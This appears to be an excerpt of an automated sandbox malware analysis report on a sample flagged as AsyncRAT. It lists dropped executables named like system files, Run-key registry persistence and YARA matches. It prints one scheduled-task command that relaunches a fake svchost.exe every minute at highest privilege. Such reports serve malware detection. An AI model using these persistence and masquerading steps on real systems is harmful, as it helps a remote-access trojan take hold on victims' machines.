Source: ._cache_svchost.exe.5.dr, Messages.cs	.Net Code: Memory
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, Messages.cs	.Net Code: Memory
Source: svchost.exe.7.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: svchost.exe.7.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: svchost.exe.7.dr, Messages.cs	.Net Code: Memory

Source: C:\ProgramData\Synaptics\Synaptics.exe

Code function: 3_2_50FFFEDF push eax; ret

3_2_50FFFEE0

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Drops PE files with benign system names

Source: C:\Users\user\Desktop\._cache_svchost.exe	File created: C:\Users\user\svchost.exe			Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Users\user\AppData\Roaming\svchost.exe			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_svchost.exe	File created: C:\Users\user\svchost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\RCXB47F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svchost.exe	File created: C:\Users\user\Desktop\._cache_svchost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Users\user\AppData\Roaming\svchost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Desktop\._cache_file.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\RCXB47F.tmp			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file

Source: C:\Users\user\Desktop\._cache_svchost.exe

File created: C:\Users\user\svchost.exe

Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_svchost.exe PID: 4716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\._cache_svchost.exe

File created: C:\Users\user\svchost.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\._cache_svchost.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe"

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver	Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost
Source: C:\Users\user\Desktop\._cache_svchost.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
